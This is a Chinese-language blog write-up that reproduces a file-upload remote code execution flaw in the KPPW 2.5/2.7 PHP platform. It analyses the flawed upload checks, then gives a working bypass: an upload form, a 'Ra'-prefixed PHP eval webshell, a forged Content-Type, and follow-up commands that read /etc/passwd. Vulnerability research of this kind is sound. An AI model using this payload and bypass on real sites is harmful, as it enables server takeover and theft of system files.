C1imber's Blog

KPPW2.5文件上传导致远程代码执行

字数统计: 1.2k阅读时长: 6 min
2018/01/11 Share

KPPW2.7文件上传导致远程代码执行漏洞复现

测试环境

和上一节的一样,同样是kpww2.5版本,此版本存在文件上传漏洞,攻击者可以上传php一句话木马拿下webshell

###上传点###
漏洞分析

在control/ajax/upload.php中:

$pathDir = setUploadPath($fileType, $objType);
$upload = new keke_upload_class(S_ROOT.$pathDir ,$fileFormat,$maxSize);
$savename = $upload->run( $filename , 1);

再来看run方法:

function run($fileInput, $randName = 1) {
        if (isset ( $_FILES [$fileInput] )) {
            $fileArr = $_FILES [$fileInput];
            if (is_array ( $fileArr ['name'] )) { 
                ....
            }
            else { 
                $this->getExt ( $fileArr ['name'] ); 
                $this->setSavename (); 
                if ($this->copyfile ( $fileArr, $randName )) { 
                    $this->returnArray [] = $this->returninfo;
                } else {
                    $this->returninfo ['error'] = $this->errmsg ();
                    $this->returnArray [] = $this->returninfo;
                }
                return $this->errno ? $this->errmsg () : $this->returnArray;
            }
            return false;
        }

在这段方法中,先是获取了$this->getExt ( $fileArr [‘name’] ); 文件后缀,这里没有什么问题,然后再生成上传后的随机名+后缀. 最后执行上传操作copyfile

function copyfile($fileArray, $randName) {
        $this->returninfo = array ();
        $this->returninfo ['name'] = $fileArray ['name'];
        if ($randName) {
            $this->returninfo ['saveName'] = $this->saveName;
        } else {
            $this->saveName = $this->returninfo ['saveName'] = $fileArray ['name'];
        }
        $this->returninfo ['size'] = $fileArray ['size']; 
        $this->returninfo ['type'] = $fileArray ['type'];
        if (! $this->validateFormat ()) {
            $this->errno = 11;
            return false;
        }
        if(!$this->fileFilter($fileArray ["tmp_name"],$this->ext)){
            $this->errno = 21;
            return false;
        }
        if ($this->savePathFunc) {
            $savePathFunc = $this->savePathFunc;
            $this->savePath = $savePathFunc ( $this->saveName );
            $this->returninfo ['path'] = $this->savePath;
        }
        $this->makeDirectory ( $this->savePath );
        if (! @is_writable ( $this->savePath )) {
            @mkdir ( $this->savePath, 0777, true );
        }
        if ($this->overwrite == 0 && @file_exists ( $this->savePath . $this->saveName )) {
            $this->errno = 13;
            return false;
        }
        if ($this->maxSize != 0) {
            if ($fileArray ["size"] > $this->maxSize) {
                $this->errno = 14;
                return false;
            }
        }
        if (! @copy ( $fileArray ["tmp_name"], $this->savePath . $this->saveName )) {
            $this->errno = $fileArray ["error"];
            return false;
        }
    }

这里先做了$this->validateFormat (),根据文件名来获取后缀,再判断后缀是否合法:

function validateFormat() {
        if (! is_array ( $this->fileFormat ) || in_array ( strtolower ( $this->ext ), $this->fileFormat ) || in_array ( strtolower ( $this->returninfo ['type'] ), $this->fileFormat ))
            return true;
        else
            return false;
    }

关键看这个条件:in_array ( strtolower ( $this->returninfo ['type'] ), $this->fileFormat ),这里判断type是否合法而且用了或操作,等于这边为true了,整个if条件就为true了, 而这个type我们可以改动的,只要抓包把Content-Disposition: form-data; name="name"; filename="1.php"Content-Type: 中的Content-Type设置成我们想要的值就可以绕过了。绕过了这个地方以为后面就一帆风顺了,但是还是上传不上去,继续看下面的一个操作$this->fileFilter($fileArray [“tmp_name”],$this->ext)这个操作实际上是根据文件头来确定文件的后缀,再检测后缀与之前的文件名获取的后缀是否一致。 这本来是一个很好的过滤方法,但开发人员又写错了:

function fileFilter($path,$ext){
        if(keke_file_class::get_file_type($path,$this->ext)==$ext){
            return true;
        }else{
            return false;
        }
    }
static function get_file_type($file_path, $ext = '') {
        $fp = fopen ( $file_path, 'r' );
        $bin = fread ( $fp, 2 );
        fclose ( $fp );
        $strInfo = @unpack ( "C2chars", $bin );
        $typeCode = intval ( $strInfo ['chars1'] . $strInfo ['chars2'] );
        $fileType = 'unknown';
        $typeCode == '3780' && $fileType = "pdf";
        $typeCode == '6787' && $fileType = "swf";
        $typeCode == '7784' && $fileType = "midi";
        $typeCode == '7790' && $fileType = "exe";
        $ext == 'txt' && $fileType = "txt";
        in_array ( $typeCode, array ('8297', '8075' ) ) && $fileType = $ext; 
        if (in_array ( $typeCode, array ('255216', '7173', '6677', '13780' ) )) { 
            in_array ( $ext, array ('jpg', 'gif', 'bmp', 'png', 'jpeg' ) ) and $fileType = $ext or $fileType = 'jpg';
        }
        if ($typeCode == '208207') { 
            in_array ( $ext, array ('wps', 'ppt', 'dot', 'xls', 'doc', 'docx' ) ) and $fileType = $ext or $fileType = 'doc';
        }
        return $fileType;
    }

关键看这个操作:in_array ( $typeCode, array (‘8297’, ‘8075’ ) ) && $fileType = $ext; 如果typecode 等于8297或者8075的时候,就会将filetype赋值为$ext,这样不就是饶过了之前的那个if判断。POC: 只需要将content-type 设置成jpg 再在上传的文件开头写上Ra 就可以成功绕过上传过滤。 (Ra 获取以后的code值就是8297)
漏洞利用,构造上传页面

<form method="POST" enctype="multipart/form-data" action="http://192.168.50.157/kppw25/index.php?do=ajax&view=upload&file_type=big&filename=filename">
请选择文件: <br>
<input name="filename" type="file"><br>
<input type="submit" value="上传文件">
</form>

攻击者可在本地上传php一句话木马

Ra<?php @eval($_POST['lawliet']);?>

点击上传文件后相当于向192.168.50.157发送了一次上传文件的http请求,用burp抓包,将content-type改为jpg即可上传成功并返回webshell地址
mark
访问webshell地址即可远程执行命令,比如ifconfig查看ip,cat /etc/passwd查看敏感文件
mark
mark
mark
由于之前在安装的时候将kppw25目录下的文件降成了apache权限,所以导致有些root命令不能执行,比如cat /etc/shadow,所以就算攻击者真的拿下webshell也只是apache的权限,没有系统权限,除非利用系统漏洞提权为root

CATALOG
  1. 1. KPPW2.7文件上传导致远程代码执行漏洞复现
    1. 1.0.1. 测试环境